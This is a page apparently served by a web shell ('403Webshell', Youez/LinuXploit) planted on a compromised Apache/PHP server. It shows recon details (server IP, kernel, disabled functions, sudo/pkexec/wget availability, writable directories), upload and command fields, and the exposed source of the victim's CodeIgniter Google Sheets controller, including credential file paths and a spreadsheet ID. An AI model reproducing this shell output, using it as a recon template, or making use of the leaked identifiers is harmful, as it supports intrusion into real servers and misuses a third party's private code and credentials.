403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/hkosl.com/demo_google/application/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hkosl.com/demo_google/application/controllers/Enquiry.php
<?php
defined('BASEPATH') OR exit('No direct script access allowed');

class Enquiry extends CI_Controller
{
    private function getClient()
    {
        $client = new Google_Client();
        $client->setApplicationName('Google Sheets API PHP Quickstart');
        $client->setScopes(Google_Service_Sheets::SPREADSHEETS);
        $client->setAuthConfig(FCPATH.'quickstart-1561710979346-cf1dda0aa1df.json');
        $client->setAccessType('offline');
        $client->setPrompt('select_account consent');

        // Load previously authorized token from a file, if it exists.
        // The file token.json stores the user's access and refresh tokens, and is
        // created automatically when the authorization flow completes for the first
        // time.
        $tokenPath = FCPATH.'token.json';
        if (file_exists($tokenPath)) {
            $accessToken = json_decode(file_get_contents($tokenPath), true);
            $client->setAccessToken($accessToken);
        }

        // If there is no previous token or it's expired.
        if ($client->isAccessTokenExpired()) {
            // Refresh the token if possible, else fetch a new one.
            if ($client->getRefreshToken()) {
                $client->fetchAccessTokenWithRefreshToken($client->getRefreshToken());
            } else {
                // Request authorization from the user.
                $authUrl = $client->createAuthUrl();
                printf("Open the following link in your browser:\n%s\n", $authUrl);
                print 'Enter verification code: ';
                $authCode = trim(fgets(STDIN));

                // Exchange authorization code for an access token.
                $accessToken = $client->fetchAccessTokenWithAuthCode($authCode);
                $client->setAccessToken($accessToken);

                // Check to see if there was an error.
                if (array_key_exists('error', $accessToken)) {
                    throw new Exception(join(', ', $accessToken));
                }
            }
            // Save the token to a file.
            if (!file_exists(dirname($tokenPath))) {
                mkdir(dirname($tokenPath), 0700, true);
            }
            file_put_contents($tokenPath, json_encode($client->getAccessToken()));
        }
        return $client;
    }

    public function index()
    {
        $this->load->vars('rows',Enquiry_model::all());

        $this->load->view("main/enquiry_list");
    }

    public function sync()
    {

// Get the API client and construct the service object.
        $client = $this->getClient();
        $service = new Google_Service_Sheets($client);

        /*
         * With the Google_Client we can get a Google_Service_Sheets service object to interact with sheets
         */
        $sheets = new Google_Service_Sheets($client);

        /*
         * To read data from a sheet we need the spreadsheet ID and the range of data we want to retrieve.
         * Range is defined using A1 notation, see https://developers.google.com/sheets/api/guides/concepts#a1_notation
         */
        $data = [];

// The first row contains the column titles, so lets start pulling data from row 2
        $currentRow = 2;

// The range of A2:H will get columns A through H and all rows starting from row 2
        $spreadsheetId = '1LV0hOrNabGjIRzSCZVYjjNjF82plRspWQl2KbSKJ90M';

//write
        $endRow = 20; // Keep spreadsheet header
        $startCol = 'B';
        $endCol = 'H';
        $data = array();

        for($row=$currentRow;$row<=$endRow;$row++){
            $range = $startCol.$row.':'.$endCol;

            $values = array();
            $value = array();
            foreach(range($startCol, $endCol) as $col) {
                $value[] = $col.$row;
            }
            array_push($values,$value);

            // print_r($values);exit;
            if ( ! empty($values)) {
                $data[] = new Google_Service_Sheets_ValueRange(
                    array( 'range' => $range, 'values' => $values )
                );

                //last update
                $updateRange = 'I'.$row;
                $updateBody = new Google_Service_Sheets_ValueRange([
                    'range' => $updateRange,
                    'majorDimension' => 'ROWS',
                    'values' => ['values' => date('Y-m-d H:i:s')],
                ]);
                $sheets->spreadsheets_values->update(
                    $spreadsheetId,
                    $updateRange,
                    $updateBody,
                    ['valueInputOption' => 'USER_ENTERED']
                );
            }
        }

        $requestBody = new Google_Service_Sheets_BatchUpdateValuesRequest([
            'valueInputOption'=>'USER_ENTERED',
            'data'=> $data,
        ]);

        $response = $sheets->spreadsheets_values->batchUpdate($spreadsheetId, $requestBody);

// print_r($value);

//read

        $range = 'A2:H';
        $rows = $sheets->spreadsheets_values->get($spreadsheetId, $range, ['majorDimension' => 'ROWS']);
        if (isset($rows['values'])) {
            foreach ($rows['values'] as $row) {
                /*
                 * If first column is empty, consider it an empty row and skip (this is just for example)
                 */
                if (empty($row[0])) {
                    break;
                }

                print_r($row);
            }
        }


    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit